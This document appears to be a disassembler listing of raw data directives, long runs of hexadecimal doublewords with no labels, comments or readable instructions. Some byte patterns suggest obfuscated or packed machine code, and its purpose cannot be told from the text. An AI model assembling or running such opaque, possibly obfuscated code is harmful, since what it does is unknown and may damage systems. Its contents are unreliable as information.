dd 9C7DD35Ch, 0C00F8013h, 0B84B294Dh, 4B0929C1h, 5F507C2Ah
dd 0E835E965h, 9, 19A314A0h, 0CC1FF6ECh, 81665348h, 5F5E64D2h
dd 81CE8B5Bh, 67E0C3h, 0F98B6600h, 0B02F82BEh, 3BC68140h
dd 66BF4FEAh, 0FF557BBFh, 0DE933h, 9D040000h, 0FD9CE5BAh
dd 5E0AD0E8h, 5838FEA0h, 3850Fh, 0E1800000h, 3CE88125h
dd 6021F2BFh, 48F0Fh, 0BF660000h, 52BE4466h, 61000B01h
dd 6C01F081h, 0F603B8Ch, 289h, 61F78B00h, 42DEE881h, 0BF6619FCh
dd 38906D2h, 6E9h, 3C6DD000h, 8130F84Eh, 0D409B9EBh, 0C381F51Fh
dd 1FD409B5h, 0FE9h, 0FB46AC00h, 0F072E251h, 0C9EB4883h
dd 0EFCFB3A0h, 1EE81h, 850F0000h, 12h, 0FA19B966h, 33E9h
dd 58D2B100h, 0D4974C26h, 0CE8448Dh, 1E000000h, 495640BCh
dd 531E5494h, 0F8C15B48h, 0FF4DE959h, 0FFBFFFFFh, 618FD489h
dd 0DE640684h, 409ABBE8h, 45018504h, 0A2F68D8Dh, 0F60093Bh
dd 288h, 0FC28B00h
dd 38Dh, 0C2B70F00h, 298D8961h, 6A093516h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 0B090C352h
dd 7D85C7C5h, 98093528h, 6A000073h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 0E900C352h
dd 0CD4F7FACh, 0C7D6B70Fh, 35225585h, 9, 0FD9D8B00h, 0FF09351Bh
dd 352BF5B5h, 51006A09h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1604h, 0C3514100h, 8143EF03h, 390FAFF2h, 595FF28h, 8109350Dh
dd 5C4E5CE2h, 0FF006A01h, 35082995h, 0EBC08B09h, 8BDE190Dh
dd 9F683B7Dh, 0DA71975Fh, 8D8D7555h, 93BA3B1h, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 6EC35343h, 89F28BFDh
dd 3516298Dh, 50006A09h, 3E8h, 0C3582000h, 24448958h, 24448104h
dd 1404h, 0C3504000h, 7D85C7CDh, 0C8093528h, 900005Ch
dd 352DD9B5h, 75958909h, 0C7093504h, 35225585h, 9, 2D9D8B00h
dd 0FF09352Fh, 35331DB5h, 5DBD8909h, 0FF093530h, 350D0595h
dd 55006A09h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h
dd 0C3554500h, 9D89FC0Ah, 935043Dh, 95FF006Ah, 9350829h
dd 5EEBC08Bh, 0A5F26093h, 0E65AB1BCh, 64D2658Bh, 11AD14EAh
dd 0F58619Bh, 0D228E9F4h, 0A1D915A9h, 0C740D397h, 0B560CC37h
dd 87F732D8h, 1D4981FFh, 33235CDCh, 0C67886F2h, 0BE066E6Eh
dd 90D3676Fh, 0C1385824h, 540FB874h, 50D0AE2Bh, 900DABD3h
dd 7C5E2E5Eh, 823147B8h, 65C5A137h, 0C6EED06Ch, 0BE8D6F4h
dd 44000000h, 681324Ah, 0E5482D9Fh, 8D89EF62h, 93512ADh
dd 0A995895Bh, 81093527h, 6991C3h, 71858B00h, 68093503h
dd 1A3Bh, 27F18523h, 0B25F0935h, 0E933FF59h, 14h, 0DBD7A22h
dd 0A65B4762h, 5802E683h, 284B13F6h, 5F931CD4h, 0D38B665Eh
dd 1F73C681h, 95032717h, 9352C75h, 63D1F681h, 0CF8A2F78h
dd 7874EE81h, 0E9564E9Eh, 0Ah, 2459909Eh, 4C4B8793h, 38FC18Ah
dd 0EB81D6B1h, 3D50D18Ch, 8158F553h, 50D188C3h, 8E93Dh
dd 0CE8A0000h, 68400E4Dh, 0EF83216Ah, 8E850F01h, 0B9FFFFFFh
dd 463E37EAh, 0A58F8D8Dh, 8589093Bh, 93502B1h, 16298D89h
dd 8E0F0935h, 4, 0DE56BB66h, 287D85C7h, 66CC0935h, 6A0000h
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h
dd 62CB46C3h, 6810Fh, 9D890000h, 9350B75h, 0E5BD8B60h
dd 0B509350Ch, 85C76117h, 9352255h, 0
dd 0FFD0B70Fh, 350D15B5h, 51006A09h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1C04h, 0C3514100h, 461323FCh
dd 616078D0h, 595FF37h, 6A09350Dh, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 1A2CC353h
dd 9750D47Ch, 890F4178h, 6, 19B589h, 6A0935h, 82995FFh
dd 0C08B0935h, 31FA4CEBh, 69E907DFh, 0BCF0F39h, 834F152Fh
dd 0B2490C19h, 6F9DC34Ch, 0FC36918Ch, 658D0703h, 76390EA4h
dd 6CB7907Ch, 2E584A4Ah, 2DD35230h, 0AD730D34h, 0FD073306h
dd 93F90B11h, 91C19F0Ah, 0B0039711h, 6023DB03h, 65E11C62h
dd 8D8DEBC0h, 93BA63Dh, 16298D89h, 95890935h, 9352F61h
dd 287D85C7h, 64580935h, 6A0000h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 160424h, 51410000h, 0BB79D2C3h, 225585C7h
dd 935h, 0C28B0000h, 0D45B5FFh, 95FF0935h, 9350D05h, 2C59BE66h
dd 95FF006Ah, 9350829h, 6AEBC08Bh, 0D6EB0F95h, 0D628CD61h
dd 58E8B570h, 0A04B8B3Ch, 422F62A5h, 71DC20EEh, 641CF711h
dd 8D4F48Ch, 1BC4FB6Bh, 2A9D74A4h, 804652Dh, 0AD3C7ABBh
dd 27C05149h, 94E74335h, 0BFC8EEFAh, 96E06E60h, 0BF48190h
dd 0F7221AD2h, 0BB066577h, 7E8F4B88h, 98C03C5Fh, 0D65D30BFh
dd 0F509C053h, 2D518CAFh, 0BF04029Ah, 6D09E8CCh, 5E8AF1Bh
dd 0D4000000h, 7D98DE54h, 0F56EBE66h, 68C18159h, 6000005Eh
dd 68A0Fh, 810F0000h, 0
dd 15FD9D03h, 33610935h, 0D9589DBh, 0FF09352Eh, 9D310B34h
dd 935273Dh, 0F99D895Fh, 81093507h, 0C8AB7FEFh, 5195890Dh
dd 8109350Ch, 153462C7h, 0FD8D015Ch, 8109351Bh, 0F54E51EFh
dd 0C68B6677h, 0ABC08157h, 8F60555Eh, 860F1904h, 4, 58D38B51h
dd 0CE9h, 1644C200h, 9810007Eh, 4D98CEEFh, 1EB8328h, 0A5F4B866h
dd 514B4B4Bh, 9E8h, 0E4EB7500h, 73BE425Fh, 870F7414h, 0
dd 0FB815E58h, 0FFFFA268h, 12850Fh, 0B58B0000h, 9350591h
dd 1AE9h, 0C5188800h, 0EEA4C5A6h, 2C059529h, 60E90935h
dd 72FFFFFFh, 0B0A35D17h, 8D2772E3h, 3BA82C8Dh, 3DB86609h
dd 298D8974h, 8B093516h, 35117185h, 7D85C709h, 78093528h
dd 6A00005Bh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 17042444h, 45000000h, 0A33AC355h, 816634E7h, 18938E2h
dd 350AE59Dh, 6800F09h, 89000000h, 352A659Dh, 5585C709h
dd 93522h, 89000000h, 352EA19Dh, 79B5FF09h, 8A09352Ch
dd 98C880FEh, 0D0595FFh, 6A0935h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 1B0424h, 51410000h, 0C2E97EC3h, 9DAA44A6h
dd 0F18D89B0h, 6A093532h, 2995FF00h, 8B093508h, 0CB29EBC0h
dd 7040C6B2h, 7D1D30FFh, 0B649F8EDh, 0F17D596Bh, 3334212h
dd 86EAEE2Ch, 66E50420h, 68768D1Eh, 3B8BCC30h, 15117FEEh
dd 15FE9h, 0D48B5200h, 0E860h, 815D0000h, 3BA868EDh, 8428B09h
dd 2638453Dh, 38850F78h, 8B000001h, 4A8B0C42h, 0BBC8D318h
dd 3D568116h, 0E883C333h, 29858904h, 8B093516h, 0F88B0458h
dd 8B10428Bh, 0C8D3184Ah, 98EB91BEh, 2BC633AAh, 0FCE083C7h
dd 8904E883h, 35287D85h, 14428B09h, 22558589h, 428B0935h
dd 0B0E95318h, 0FF000000h, 352E9DB5h, 0B9E909h, 0B5FF0000h
dd 93506B5h, 0AEE9h, 45B5FF00h, 0E909350Ch, 0A3h, 1BBDB5FFh
dd 98E90935h, 0FF000000h, 352C79B5h, 8DE909h, 0B5FF0000h
dd 93503DDh, 82E9h, 11B5FF00h, 0E909352Bh, 77h, 2BF5B5FFh
dd 6CE90935h, 0FF000000h, 3511F5B5h, 61E909h, 0B5FF0000h
dd 9350D15h, 56E9h, 39B5FF00h, 0E9093512h, 4Bh, 41B5FFh
dd 40E90935h, 0FF000000h, 350A69B5h, 35E909h, 0B5FF0000h
dd 935331Dh, 2AE9h, 95B5FF00h, 0E9093530h, 1Fh, 0D45B5FFh
dd 14E90935h, 8B000000h, 0BB8D8h, 0F7660000h, 0C98D8DE3h
dd 3093BA8h, 0FFE1FFC8h, 350D0595h, 858B5B09h, 9351629h
dd 0F045839h, 0F85h, 16A5300h, 82995FFh, 0E95B0935h, 0FFFFFFE2h
dd 61C35A61h, 0C96AB85Ah, 0E0FF77D4h, 2759858Bh, 8D8D0935h
dd 93BA9B7h, 8B014189h, 0CE8C3h, 89430000h, 66644E70h
dd 3A0F7EBFh, 12BA7E81h, 587D22FAh, 1F8E0Fh, 13E80000h
dd 0CF000000h, 0E8C2E340h, 19EFF9AFh, 5F2C6250h, 87073DAh
dd 8C0F89D7h, 0
aZbH db 'Z│юуh',0
dw 8B00h
dd 19FBBBD1h, 82BA0000h, 8B4B7244h, 67C28030h, 9F5BEE81h
dd 0F57664Ch, 68Ch, 8F0F00h, 59000000h, 8AE0F681h, 11E84391h
dd 3E000000h, 21D4DB76h, 0F1A6E9FAh, 0CF781E5h, 0E325256Fh
dd 13E9h, 0BEA18E00h, 0B58580D0h, 8044A4EBh, 12C2CE9h
dd 46B41F2Eh, 0FDC6815Fh, 0E942D924h, 14h, 7FA31218h, 0C22EBAFCh
dd 0A4880E05h, 0DE3D2F03h, 7A5DAC87h, 5A503089h, 0E901E883h
dd 0Dh, 0E9EC1ABCh, 0A7F2FA90h, 0E5A6E544h, 484848F0h
dd 1EB83F5h, 0FF6D850Fh, 0CE9FFFFh, 7000000h, 99BF7701h
dd 4ED64E32h, 0C644E472h, 35179D85h, 0DF685609h, 0FFA9C530h
dd 35167DB5h, 70858D09h, 0FF09387Bh, 0A58D8DD0h, 5109352Eh
dd 0B5FF406Ah, 9352421h, 25E5B5FFh, 0D0FF0935h, 2421B5FFh
dd 0B5FF0935h, 93525E5h, 0EE8h, 0A8AA4100h, 0E8CDA16Fh
dd 79C5AD80h, 5E1CBFD4h, 4EE835Eh, 2242CC1h, 22424C1h
dd 0F7243403h, 0FF33241Ch, 593734FFh, 0B6AAF181h, 0E9817067h
dd 33F9F68h, 85F4C181h, 0C89569Ch, 2EF833Eh, 3C3B4F4Fh
dd 0A850F24h, 0E9000000h, 1Dh, 0F1B83635h, 0FFCAE9C7h
dd 182BFFFFh, 16E7650Eh, 0FEC1620Fh, 41CA276Fh, 8501C5C5h
dd 19D8D3Ch, 8B093527h, 0FC00B03h, 784h, 8B038B00h, 1889045Bh
dd 0ABE9C98Bh, 50000000h, 1C3F2E8Dh, 0DA5F72B1h, 95A7ACABh
dd 0F44592B3h, 0B395A1h, 0A7ECABDAh, 0B2915D20h, 96B1F46Bh
dd 55207520h, 0F26BB79Bh, 9692A5BCh, 3A7594A1h, 9FB79960h
dd 0B599BD32h, 0A59CB2E9h, 0ACA3F292h, 0B1EF7695h, 0F94E0097h
dd 9FA5B4h, 0F07B6B5Ch, 8A924Ah, 45F352D0h, 0A3F653F5h
dd 44D6D979h, 45E3AFF1h, 0D77D41F4h, 9792B000h, 0FD756BBFh
dd 96BFCF60h, 0B293BCF9h, 57207D20h, 92ABF79Bh, 0B29EBD94h
dd 0CE9DBCE3h, 8F899BE0h, 0FD8F9D72h, 6DB4EEA9h, 0BCE1B6F6h
dd 0B3ED7293h, 1E80097h, 3D94E7A6h, 6F3C8332h, 0E7E958F9h
dd 68000011h, 93BADEDh, 0F9D28FE9h, 0AEFF68FFh, 85E9093Bh
dd 68FFF9D2h, 93BAFDEh, 0F9D27BE9h, 0B13368FFh, 71E9093Bh
dd 68FFF9D2h, 93BB1C1h, 0F9D267E9h, 0B27368FFh, 5DE9093Bh
dd 68FFF9D2h, 93BB311h, 0F9D253E9h, 0B3D668FFh, 49E9093Bh
dd 68FFF9D2h, 93BB4A3h, 0F9D23FE9h, 0B60368FFh, 35E9093Bh
dd 68FFF9D2h, 93BB6FDh, 0F9D22BE9h, 0B83C68FFh, 21E9093Bh
dd 68FFF9D2h, 93BB950h, 0F9D217E9h, 0BB5568FFh, 0DE9093Bh
dd 68FFF9D2h, 93BBC38h, 0F9D203E9h, 0E1C674FFh, 0B02944BCh
dd 0DFFA75EBh, 0B5223ABEh, 0E0F970E8h, 0FF8B00BBh, 0B62A7366h
dd 0FD8318BDh, 0B3257663h, 0D77922BFh, 95E3E9F7h, 0C6D712FAh
dd 0AE2B4705h, 445DD143h, 653D8857h, 64343B69h, 0C6E81503h
dd 961CC206h, 9213011Bh, 0DB69E80Ch, 13011BF5h, 84452FB6h
dd 92852449h, 271Eh, 9B2E6D00h, 4AD50BC3h, 0AE150372h
dd 953BC928h, 56130111h, 0A9E4E5CFh, 0C1928529h, 3FB2273Fh
dd 0DE9239BDh, 41000000h, 43AE2B47h, 0B24158D1h, 3EB5223Eh
dd 0C65956CAh, 9E8815DBh, 420EB4EAh, 0E40A1C36h, 6094011Ah
dd 3641C3D2h, 0E0F9751Ch, 0C02945BBh, 0DBD34ADh, 0A5A9145Eh
dd 0AE40A95h, 91495CE7h, 0F16F913Dh, 6B8B0DE4h, 29AB2D5h
dd 4C802615h, 0E4FAB9B2h, 13005DDEh, 0DA1AD4DAh, 0BCB749FDh
dd 9E56DA19h, 49A8013h, 0BD855F91h, 0A6484DE6h, 705E8448h
dd 840BCC90h, 0D9506A62h, 7DF20CC0h, 13DEFB70h, 0C2975F91h
dd 32B2273Eh, 0E9A213E0h, 998C76FDh, 5A00000Fh, 3EC2DBF8h
dd 73E5B623h, 44BCE1FCh, 6EF2AB2Ch, 2B9E2F7h, 71680189h
dd 1ABFB42Ch, 7461FF81h, 24BDB127h, 0E7FDD177h, 12FA94DDh
dd 1507CCD9h, 0FAC2CFADh, 3A92B03Dh, 35A21EA4h, 60941A1Ch
dd 396277EEh, 6D2EABC7h, 0C39B2EBEh, 724AD50Bh, 28AE1503h
dd 11953BC9h, 0CF561301h, 29A9E4E5h, 3FC19285h, 30A9C124h
dd 42B13FC1h, 0EC8F36BEh, 40000000h, 1EAE2B47h, 0E476855Eh
dd 0B63ECEE5h, 0F4699337h, 782235BFh, 0FAF40097h, 0F0E980FAh
dd 0A3247301h, 18141C35h, 0A19A6E51h, 52CB3F62h, 0C628AC47h
dd 71ED7328h, 0ABFE8968h, 5734DEC5h, 0B236BDD8h, 0F8338F0Eh
dd 0F87C7760h, 2AD4F8F6h, 0CA4EA532h, 1D607E2Ah, 93150339h
dd 2701C10Dh, 36B4A68h, 8C5B30C4h, 536D6139h, 0AF31C0DDh
dd 0D4FDA347h, 900BCCD3h, 223CBE0Eh, 93674D93h, 3D631C33h
dd 38BC40B3h, 0E6F36A94h, 76EF11B5h, 199363h, 0F09B4D99h
dd 5F02E9A1h, 0E8777h, 0CDEA4800h, 8C1508D0h, 0CBD6490Fh
dd 81160ED2h, 0CCCD641Ch, 0D3B7C4CFh, 9A5E3F5Ah, 0D1871481h
dd 0A759425Fh, 9B8D0E8Bh, 9407ADF3h, 0D20312FAh, 0AB2E47F1h
dd 2A879923h, 0C84CA734h, 87F9CE26h, 4E65FEEBh, 36412A90h
dd 76781E1Ch, 47302378h, 0D143AE2Bh, 0A157445Dh, 3AE0138Eh
dd 0C72FA8C0h, 0DBC0D955h, 0F7C22727h, 42F1AF1Fh, 40150355h
dd 0BE35A2BEh, 0E204BA3Ah, 0A43A8E3Ah, 13012A1Eh, 0D260941Ah
dd 0E2875BEBh, 29B7B104h, 1D771BA3h, 0EFDF1197h, 940D219Bh
dd 851BDB5Dh, 1644365Ah, 693881Eh, 2B7E09E8h, 0CF615B73h
dd 8C8F2B0h, 1ABC24ACh, 667C20D4h, 1D83FFB0h, 902AA244h
dd 70F4FF98h, 4AE6D884h, 0AD9F7E1Fh, 26C8FA6Fh, 726F0375h
dd 51E6CC72h, 6852D1E8h, 0DA8h, 0ADEECB69h, 0F2AB362Bh
dd 0B7E4F16Eh, 0EBB02941h, 0C0DDFC75h, 6D0486F3h, 0B2A92F6Ch
dd 6C027627h, 0B6AA2E6Fh, 10BC7429h, 0FA92E8D2h, 0CAFDC12h
dd 43AE2B47h, 0A4051D9Fh, 16DE1089h, 6C60388Bh, 12879E20h
dd 40354CE2h, 2DB31503h, 0A006B670h, 98FADB3Bh, 81149F57h
dd 37C905C9h, 0C9579F3Ah, 0BCE606Eh, 0CDC5E49Ch, 69D514F0h
dd 22D1D78Dh, 35442C92h, 0D7C05C1Ch, 2BB4A81Ch, 100461C8h
dd 0FBE93C55h, 50F6ABE2h, 3ABC89h, 2E0B0000h, 0BF0BC39Bh
dd 801E2DFFh, 0E0FE02BBh, 1C35E4DAh, 0CE26C8CEh, 2B07C40h
dd 5E6E7015h, 0C8D5C25Ch, 130D0F4h, 736C0013h, 2BB8B62Ah
dd 0C749A835h, 0E1E0CA29h, 3100000Ch, 5BD39B2Eh, 861CB03Eh
dd 150DED64h, 7E3E8E10h, 0DD7ECF2Bh, 0EBA3AA0h, 0B32C40BAh
dd 0C638BC40h, 79F10BAAh, 53388260h, 0A83612FAh, 12FA5322h
dd 0AC329016h, 8BA75942h, 7F3FE30Eh, 71704E3Dh, 972ACA40h
dd 5478540Ch, 0FAB3248Eh, 0D3C45C12h, 80269C20h, 4F0E57Eh
dd 5B074A58h, 0EBED0BD2h, 6C45D9E3h, 9409E7F0h, 0DA5750CCh
dd 3EB034BFh, 0D59D28B3h, 32B63D5Ch, 1FD210BCh, 95150324h
dd 7021D313h, 0F57CF2D4h, 0C530Dh, 81261400h, 0D0C9641Ch
dd 7F1A15CBh, 0D5C25A1Eh, 801910C8h, 9F6B201Bh, 0D68A1386h
dd 9D63385Dh, 0D3851683h, 7759425Fh, 90438917h, 0A63712FAh
dd 41A52B25h, 0E9BC1C36h, 0E239D31h, 18DC6093h, 0E8F32E74h
dd 0EFF1150Dh, 3641DDDFh, 0C62DAAC4h, 961AA042h, 660E12FAh
dd 0FA969238h, 8E608612h, 961AA03Eh, 880E12FAh, 7C226666h
dd 12FA9636h, 7348AC32h, 896871EDh, 0DBF3ABFEh, 0C795CEC5h
dd 60842A0Bh, 0E9ADEBE2h, 0C58E78FBh, 8600000Bh, 2AAEEFD4h
dd 6FF1AA37h, 40B8E5F0h, 6AEEAF28h, 0FEB5E6F3h, 7564FD8Dh
dd 1EBBB028h, 7865FB7Dh, 0D8C15D23h, 23C10DC3h, 12FA9099h
dd 47BB008Dh, 0D143AE2Bh, 10AD445Dh, 0D73617FDh, 90894FFDh
dd 6A7h, 0C39B2E3Fh, 2FFBF0Bh, 0A30429AAh
dd 5BD8C3Bh, 9BF93ABDh, 80A1C55Bh, 5355150Dh, 0B6AD4F7Bh
dd 0A84CD023h, 9D3A36h, 0D3FBE478h, 7E4E47EBh, 0AD49EED0h
dd 0A1309626h, 7C4712FAh, 0D120B9B4h, 612DA14Fh, 0FAA17943h
dd 8B6B6D12h, 0A0CAC1DFh, 881E0BC7h, 13B9E796h, 71C27A0h
dd 60E40FE1h, 0E4C2568Eh, 981BE9ADh, 0B13AEh, 4166D400h
dd 1089A45Ch, 3F5AD58Bh, 15829A5Eh, 4059D088h, 5F2B605Bh
dd 16CAD3C6h, 5D23781Dh, 13C5D6C3h, 3719821Fh, 8F834957h
dd 667712FAh, 0AE2B4765h, 545DD143h, 0AF31C0D9h, 213B241h
dd 0FDD43912h, 0F093894Fh, 0F4000005h, 3641A52Bh, 31E9BC1Ch
dd 0E99F079Dh, 5157150Dh, 0D0EF837Dh, 0FA96A812h, 0F4FA9C12h
dd 0B43D31A7h, 51D31EBBh, 0FCC7549Fh, 519F3834h, 0B4AF517Dh
dd 0A64ED221h, 0C7958118h, 1141810Bh, 0C4FC60EBh, 0FE1F871h
dd 2FB739E7h, 0E9AD9C9Fh, 75CBB33Eh, 3600000Ah, 7AFE9F04h
dd 0DFA1FAE7h, 90485540h, 0DA9EFF98h, 4E455643h, 0C5D44D3Dh
dd 8E0B20D8h, 0C8D54B0Dh, 88110DD3h, 33711D13h, 12FA8E89h
dd 476B507Dh, 0D143AE2Bh, 4488445Dh, 3641149Eh, 3E8E101Ch
dd 36411AA0h, 6C880E1Ch, 0E3FE73E5h, 14859C10h, 8EA55BDDh
dd 2481E80Bh, 4DA03530h, 0FE276667h, 3440894Fh, 8F000005h
dd 0BC39B2Eh, 0DE9BCD5h, 16B63815h, 76DC4366h, 4FA7A222h
dd 841D11ABh, 0D4CD6117h, 0FE83C8F8h, 0CE0D41BAh, 0B719A726h
dd 0CE12FB3Ch, 0D3AB23FBh, 9DBDE196h, 4EFAFABBh, 0C75BF990h
dd 0FD5F90Bh, 1C275BA5h, 0F4C3FFA1h, 15083F4Dh, 29AF6591h
dd 0AD7BCFBDh, 3B23CEE9h, 9B0h, 0B5E6C371h, 0EAB32E43h
dd 0BFDCF976h, 0E3B82139h, 895041Dh, 958C7E0Bh, 4AE19704h
dd 948A4E4Fh, 4EE29607h, 28644C51h, 0FA8E507Ah, 34974412h
dd 6875EB15h, 811E128Ch, 1FBAB34Dh, 1DA450D4h, 0C72AB7ABh
dd 9A48842Ah, 1C364130h, 1D728224h, 10AA1237h, 2C4A33DDh
dd 6E9F3FB7h, 0F98950F0h, 473h, 41A02BDAh, 0ECB71C36h
dd 98F49834h, 3641C00Ah, 9A20BE1Ch, 8E1C3641h, 0C034BA08h
dd 0DE93832h, 0DA08AC15h, 12FA96F0h, 970AB0EEh, 0D8FE12FAh
dd 0A22AC4EAh, 29B0418h, 0FEF5E27Eh, 0E17E2671h, 757BFDF4h
dd 0CACF6759h, 0AD51A527h, 0C7B1ECF7h, 0C8D6B20Bh, 1C278E02h
dd 4E04F0F6h, 0F6A69C48h, 6CF7E9ADh, 8E382h, 11B6A400h
dd 4059D48Ch, 0F8AA55Bh, 4552CA8Eh, 1089A058h, 0FFB908Bh
dd 661A8316h, 0DD3C8CDh, 63158613h, 0E7C9D2CFh, 8DD3F9A7h
dd 16C712FAh, 0AE2B47B5h, 21D9F43h, 1CD85C97h, 0E2118EA2h
dd 0E0FECA72h, 1C3641DAh, 57F8C8CEh, 0DC7E8677h, 0CEB60BEBh
dd 0E1BA273Bh, 50BB9CF1h, 16FCB89h, 47FC0000h, 5492802Bh
dd 0D25345DDh, 49A7302Ch, 9D3A36AAh, 2978F31h, 7F4A15F2h
dd 0D11FBAB7h, 5880E7FDh, 72741503h, 4A702E5Ah, 3E130117h
dd 31D55C98h, 0EC07928Fh, 0D0F68C68h, 91130117h, 0E6272014h
dd 81928527h, 48h, 0C39B2E52h, 223DBF0Bh, 66B13FB7h, 9A150372h
dd 9D121CE6h, 5CE01386h, 0CCB55764h, 7F41CF22h, 40130064h
dd 50B92E8Eh, 3E79BD10h, 627B69B6h, 9285E22Bh, 0CC3Ch
dd 0AC368600h, 0A9302DF4h, 78FAC64Ah, 761DD90Ah, 0A20AD15h
dd 2BB3BE67h, 0C4DD51CBh, 37A2BB2Dh, 0CBD448BCh, 0FDB8B428h
dd 3615DDE7h, 19D7D91Ch, 3CE5E084h, 1B171C36h, 77421D7Eh
dd 0EA712F9Fh, 9E1501EBh, 0C8F8D4F8h, 0B1321ECh, 606A782Bh
dd 5412FF0Dh, 26B3AC52h, 1AD49CBh, 97FEF5CDh, 0AA572559h
dd 4059D04Ah, 0D549735Bh, 0BFB628CCh, 0CCCECA1Ah, 24CFF2D6h
dd 7833Ah, 0B1164400h, 0E0F974ECh, 0AF2A45BBh, 0E5F26AEEh
dd 0B02940B8h, 0AF5B30EBh, 67A23B6h, 0AD33686Dh, 37526B3h
dd 8729726Fh, 8B339947h, 762712FAh, 0AB2E4755h, 0B2275B23h
dd 0C8564F7Eh, 27574F2Ch, 8652CC2Bh, 81FBFBE4h, 0FFA7F4EDh
dd 7E7663FDh, 8C2B47DFh, 2E0FD72h, 1C3641B8h, 2DC42AACh
dd 0FE0CA7BBh, 0E7FB4945h, 0E9217A74h, 23Bh, 70EB152Ah
dd 0B3069165h, 2597F3DBh, 0D56B8B0Eh, 15035306h, 7705ECF2h
dd 13013051h, 0FDF4ED81h, 0EC07928Bh, 42250F7Ch, 0EBECD84Dh
dd 92850AA2h, 1E6C5h, 0AD150600h, 927DD9Eh, 0DFE3658Ch
dd 857161E8h, 3615C2EFh, 0FAD2E51Ch, 0BD600CD2h, 5254150Dh
dd 0F3EC807Ah, 9D3A36AAh, 4918F31h, 48B6BEDh, 8C522C77h
dd 12FABA26h, 92507C22h, 12FABA28h, 58747A1Ch, 0C7D59F4Ah
dd 9353550Bh, 0E9ADDADBh, 89775F02h, 4A000006h, 0ED2CBE8h
dd 63158613h, 14CCD1CCh, 5E227B1Ch, 0D2C9D2C7h, 4158D1B9h
dd 0A8FA45Ch, 4451CF91h, 148DA157h, 0B7EDA187h, 12FA8C0Dh
dd 47F7DC09h, 43A0BE2Bh, 0AD43AD28h, 0D2ECA046h, 30B43F5Ch
dd 364208B2h, 1ADAFC1Ch, 0E0138CA0h, 46312370h, 36F0AD2Ah
dd 0C92DAAC4h, 4FF9E429h, 12D8389h, 47440000h, 5E1EAE2Bh
dd 10F94DCh, 0F37A7A16h, 0A7F4ED81h, 0F9D58D18h, 32B84EBh
dd 7B767815h, 122CBEDh, 2B198C13h, 17908C2Eh, 82727C19h
dd 851CB3DAh, 33B492h, 2E130000h, 0D50BC39Bh, 1503724Ah
dd 0A92E46B8h, 802EC64Ah, 0D04C6E5Eh, 59640699h, 21CF7C7Eh
dd 0F8BE4ED5h, 0B913012Bh, 2E5F786Ch, 39928510h, 0B5h
dd 73EB159Ah, 1C8E66h, 71E85C97h, 1B178968h, 196E4E7Eh
dd 21B6AE86h, 0A1413CA1h, 0C65ACE55h, 0B20AC4D9h, 0ECC9A78Ah
dd 1FB541C1h, 1C353290h, 4A534CE0h, 5A722A7Dh, 1641D44h
dd 0F9D5DB15h, 0E17D6807h, 79FBF6F8h, 0C5FDD17Dh, 7FF7637Eh
dd 0AD15975Ah, 668EB329h, 3F5C7DF4h, 0FC0BA0B9h, 692147F5h
dd 0BC80648Ah, 21F2D6ACh, 54A9882h, 290B0000h, 0D4490F8Ch
dd 1708D0CDh, 0D74F118Ah, 0E27D9C2h, 7009128Bh, 8516839Ah
dd 603D58D3h, 84198698h, 267760FCh, 2E944A82h, 2A12FA89h
dd 0EB155A79h, 118B6B76h, 641C8118h, 5247DFC8h, 0CAD31D9Fh
dd 0AE2B47E9h, 445DD143h, 212B57h, 475C0000h, 33A0BE2Bh
dd 41BF059Bh, 35BB1C36h, 0A8C438BBh, 5DC42Fh, 0D4CD6114h
dd 2A9BC7h, 47EC0000h, 5E1EAE2Bh, 0B5EEB0BBh, 2BB24219h
dd 35BD1A9Dh, 0C8D54A1Ch, 2CB9B729h, 0A64DA334h, 6500F411h
dd 0EC9F8558h, 95366770h, 43AE2B47h, 9935EDB8h, 0DEDE90Bh
dd 0D259715h, 13E3658Ch, 69933B5Dh, 0DEE0ECF5h, 0F89E5542h
dd 0FA95E0EAh, 1CD2D412h, 0A84C49E2h, 88110DD3h, 0DB09C569h
dd 12FA95F1h, 3F9FF4E3h, 2E94D207h, 0EEB94CA8h, 4AA92E46h
dd 0BB2438C6h, 923AB438h, 0D1EBED4Ch, 9C5EB0Bh, 3D5E7BF7h
dd 0D74AA7BBh, 42CD24CAh, 712F9F77h, 1502F282h, 0A6747076h
dd 37F2D49Fh, 436C2ACh, 45F70000h, 0A8C53B60h, 7BF46C31h
dd 0A3BB3D5Eh, 7AF36536h, 4753E5Fh, 0B1EAEF86h, 0FCA1342Fh
dd 0B0EDEA84h, 0F2AB3428h, 6A508E3Eh, 5E12FA88h, 2B478E2Dh
dd 9539EDAEh, 3641654Fh, 833F611Ch, 0EB630010h, 27C784Ah
dd 0E82716Eh, 0A11B6312h, 80F3C4C4h, 0E0487270h, 9A3C1C35h
dd 0DE2F9D54h, 826F03F6h, 706900EDh, 0FFF1FF81h, 5A61AC9Eh
dd 4A068950h, 0C5000000h, 1FA19B2Eh, 0DC609306h, 3641BC06h
dd 0B836B81Ch, 6774EA14h, 12B8E68Ch, 61C3642h, 42E60EE0h
dd 30D189Ch, 8AA41615h, 0B53BE90Dh, 0C89A719h, 0F609AD8Fh
dd 25391300h, 719DFBCh, 9B3579Ah, 7A6A8A17h, 378h, 0AE2B47CBh
dd 21D9F43h, 71ED5F97h, 1943368h, 0F85F8549h, 0EC150363h
dd 0C8EF9DBCh, 723060D9h, 13005348h, 9A549A3Ch, 5407C957h
dd 6C81300h, 9B5B7CF4h, 507D5E46h, 179285ECh, 45h, 30830B73h
dd 81706900h, 0FDE7C3FFh, 2E19B83Ch, 0D50BC39Bh, 1503724Ah
dd 25C928AEh, 0D81B869Bh, 0AC12A054h, 6D130111h, 24B0CF8h
dd 6892852Ah, 1D347E24h, 0BE301301h, 42BC32A7h, 0A249AD2Ah
dd 103h, 0AE2B47F1h, 4158D143h, 7EF20CB2h, 0B1AF6161h
dd 0E6EF7902h, 0F5809C0Eh, 35E205AFh, 11DF011Ch, 0E5F26EE2h
